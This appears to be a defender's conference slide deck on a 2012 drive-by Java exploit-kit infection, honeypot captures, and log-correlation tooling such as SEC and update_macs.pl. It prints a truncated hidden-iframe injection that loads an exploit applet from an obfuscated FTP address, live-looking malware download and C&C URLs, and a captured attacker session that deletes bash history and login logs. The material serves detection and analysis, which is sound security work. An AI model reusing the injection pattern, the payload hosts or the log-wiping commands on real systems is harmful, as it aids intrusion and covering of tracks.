- C&C domains usually generated, many domains in .be zone.
- C&C and Malware domains located on the different AS. Bot updates payload via HTTP
- Typical bot activity: HTTP Post, payload updates via HTTP.
### Infected Site

- **Domain**: 3645455029
- **URL**: `/1/s.html`
- **Referrer**: Infected site
- **Payload**: html
- **Size**: 997

### Java.com

- **Domain**: Java.com
- **URL**: `/js/deployJava.js`
- **Referrer**: 3645455029
- **Payload**: javascript
- **Size**: 4923

### 3645455029

- **Domain**: 3645455029
- **URL**: `/1/exp.jar`
- **Referrer**: application/x-jar
- **Size**: 18046

### 3645455029

- **Domain**: 3645455029
- **URL**: `/file1.dat`
- **Referrer**: application/executable
- **Size**: 138352
Attack analysis
- Applet exp.jar loaded by FTP
- FTP Server IP address obfuscated to avoid detection

```html
<div style="position:absolute;left:-1000px">
  <iframe src="ftp://3645455029/1/s.html">
    <html>
      <head>
        <script src="http://www.java.com/js/deployJava.js">
      </head>
      <body>
        <embed id="deployJavaPlugin" hidden="true" type="application/java-depl

        <script>
          eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)}
        </script>
        <applet archive="ftp://3645455029/1/exp.jar" code="morale.class">
      </body>
    </html>
  </iframe>
</div>
```
Interesting modifications

GET  http://java.com/ru/download/windows_ie.jsp?
host=java.com&returnPage=ftp://217.73.58.181/1/s.html&locale=ru HTTP/1.1

XSS in java.com was abused (already fixed)!!

Key feature example

Date/Time    2012-04-20 11:11:49 MSD
Tag Name     FTP_Pass
Target IP Address  217.73.63.202
Target Object Name   21
:password     Java1.6.0_30@
:user         anonymous
Activity example

Date/Time 2012-04-29
02:05:48 MSD
Tag Name HTTP_Post
Target IP Address 217.73.60.107
:server rugtif.be
:URL /check_system.php

Domain Registered: 2012-04-21

Date/Time 2012-04-29
02:06:08 MSD
Tag Name HTTP_Post
Target IP Address 208.73.210.29
:server eksyghskgsbakrys.com
:URL /check_system.php
Onhost detection and activity
Payload: usually netprotocol.exe. Located in Users\USER_NAME\AppData\Roaming, which periodically downloads other malware

Further payload loaded via HTTP
http://64.191.65.99/view_img.php?c=4&k=a4422297a462ec0f01b83bc96068e064

<table>
<thead>
<tr>
<th>File</th>
<th>Date/Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>netprotocol.exe</td>
<td>26.03.2012 19:47:34</td>
</tr>
<tr>
<td>106.exe</td>
<td>02.04.2012 17:42:32</td>
</tr>
<tr>
<td>elro.exe</td>
<td>03.04.2012 2:09:53</td>
</tr>
</tbody>
</table>
Detection By AV Sample from May 09 2012 Detect ratio 1/42

SHA256: 85b80c7be8d38eec977ecfc9a358e0911016b8e338f9ed97d0846ad169fd32b3

File name: netprotocol.exe

Detection ratio: 1 / 42

Analysis date: 2012-05-09 16:52:58 UTC (0 минут ago)

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Microsoft</td>
<td>-</td>
</tr>
<tr>
<td>NOD32</td>
<td>Win32/SpyVoltar.A</td>
</tr>
</tbody>
</table>
Monitoring infection and post infection activity

- **Infection**: .jar and .dat file downloaded by FTP, server name = obfuscated IP Address, example ftp://3645456330/6/e.jar
  Java version in FTP password, example Java1.6.0_29@

- **Updates**: executable transfer from some Internet host, example GET http://184.82.0.35/f/kwe.exe

- **Postinfection activity**: Mass HTTP Post to normal and generated domains with URL: check_system.php
  09:05:06 POST http://aratecti.be/check_system.php
collecting samples from the exploit packs

Simply create the ENVIRONMENT, which he is targeting (JVM, IE, Adobe ..)

Be aware of serve once per IP and other restrictions
Consulting company works fine, but it was their last time

<table>
<thead>
<tr>
<th>Date</th>
<th>IP Address</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>11/6/2012 10:24</td>
<td>0x53.xaa.0x6a.0x38</td>
<td><a href="http://0x53.xaa.0x6a.0x38/info.txt">http://0x53.xaa.0x6a.0x38/info.txt</a></td>
</tr>
<tr>
<td>11/6/2012 10:24</td>
<td>1440109764</td>
<td><a href="http://1440109764/info.txt">http://1440109764/info.txt</a></td>
</tr>
<tr>
<td>11/6/2012 10:24</td>
<td>1403677240</td>
<td>1403677240:443</td>
</tr>
<tr>
<td>11/6/2012 10:24</td>
<td>4211031720</td>
<td>4211031720:443</td>
</tr>
<tr>
<td>11/6/2012 10:24</td>
<td>12352465070</td>
<td>012352465070:443</td>
</tr>
<tr>
<td>11/6/2012 10:24</td>
<td>24725152160</td>
<td>024725152160:443</td>
</tr>
</tbody>
</table>
TOOLS
Honeypots

- Practical experience with building honeypots and what gets captured.

```bash
# mkdir " "
# cd " "
# 2013-04-03 22:08:31-- http://wget
Connecting to wget:80... connected.
HTTP request sent, awaiting response... DNS lookup failed: address 'wget'
# ls -la
drwxr-xr-x 1 root root 4096 2013-04-03 22:13 ..
# rm -rf .bash_history
# rm -rf /var/run/utmp
# rm -rf /var/run/wtmp -
# rm -rf /var/log/lastlog
# rm -rf /usr/adm/lastlog
rm: cannot remove '/usr/adm/lastlog': No such file or directory
```
Honeypots

• There are quite a few to grab and customize:
  • Kippo
  • http://amunhoney.sourceforge.net/ - gets lots of web kiddies in.
  • Let's watch some cartoons ;-)
Roll-your-own crawler + yara ;)

- Used to automate detection of exploitkit redirect placements. Per-se static, uses jsunpack to deobfuscate javascript before rules are applied. HAS MANY LIMITATIONS :)

```bash
./crawler.py yandex.ru
WARNING: no protocol given. using http
crawling url http://yandex.ru
Crawling under domain: yandex.ru
fetching http://yandex.ru
fetching http://home.yandex.ru/?from=prov_main
fetching http://soft.yandex.ru/?mp
fetching http://www.yandex.ru/?edit=1
```
Control network objects
(update_macs.pl)

- What is it for?
- How it works and data sources
- Demo
Control network objects (update_macs.pl)

The main idea is collecting and matching **USER IDs** from **different sources** (network devices).
Control network objects (update_macs.pl)

The main idea is collecting and matching USER IDs from different sources (network devices).

**IDs:**
- Workstation IP
- User AD Login
- MAC
- Switch
- Port

**Sources:**
- AD
- Switch
- Router
Control network objects (update_macs.pl)

The main idea is collecting and matching **USER IDs** from **different sources** (network devices).

**IDs:**
- Workstation IP
- User AD Login
- MAC
- Switch
- Port

**Sources:**
- AD
- Switch
- Router

**Location**
Control network objects (update_macs.pl)
What is it for, update_macs.pl? (use cases)

1. We see IP-address in IDS\IPS logs. **Who** is there?
2. If we don't know who. **Where** is it?
3. If we use DHCP. **Who** was **when**?
4. Control **moving** from one location to another.
SEC: Simple Event Correlator

• Again if you don't have SIEM....

• is a tool for accomplishing event correlation tasks in the domains of log analysis, system monitoring, network and security management, etc

• written in Perl

• http://simple-evcorr.sourceforge.net/

• We can't imagine scenario that can't be implemented in SEC
Deployment

Diagram showing a network deployment with various components and connections, including:
- Network devices
- Windows (SNARE) with syslog
- *nix system with Syslog-ng, Snmptrapd, SEC.pl
- SMTP
- Syslog SNMP trap
- IPS/IDS
- McAfee ePO
- Outlook
- Sec officer
Correlated events: IDS (ISS RNE) (portscan analysis)

**Problem:** Just single *_Probe_* (probe) means nothing, but from **one source**:

- 5 same probes within 60 sec.,
- **10 different** probes within 60 sec.,
- probes to **7 different destinations** within 60 sec.,
- Probes at speed (number of events/time period) more than **0.5**,

… need to be investigated.
Correlated events: IDS (ISS RNE)  
(Another interesting cases)

- **TCP_Probe_SMTP** – look for e-mail worm (G1 – “silly”, G2 - “advances”),

- **IP_Duplicate** – look for ARP Poisoning,

- **DHCP_Ack** – look for “admin hack” - fake DHCP server,

- **(HTTP|FTP)_Put** – control data leakage (if you don't have DLP :-)


Correlation events: McAfee ePO

• If you're in epidemic – special rules for events,

• See all events of “file infected … clean error … delete failed” – they need to be fixed manually or somehow differently.
Correlation rules: Windows
(general cases)

- User Account Locked out (644)

- User Account Created (624), Deleted (630), Added to Global gr (632), Added to Local gr (636), Enabled/Disabled (642), Changed (524)

- Starting up (512), Shutting down (513)

- ...... see MS' Security Monitoring and attack detection planning guide
Correlation rules: Windows (interesting cases)

- Events that have not seen before
- Password hashes have been dumped
- Windows Service was started (during usual server operation)
Features of not targeted and targeted threats

Drawing a line between targeted and not targeted threats (Massive Drive-By almost always not targeted, email with sploits = high probability of targeted attack)
Questions :)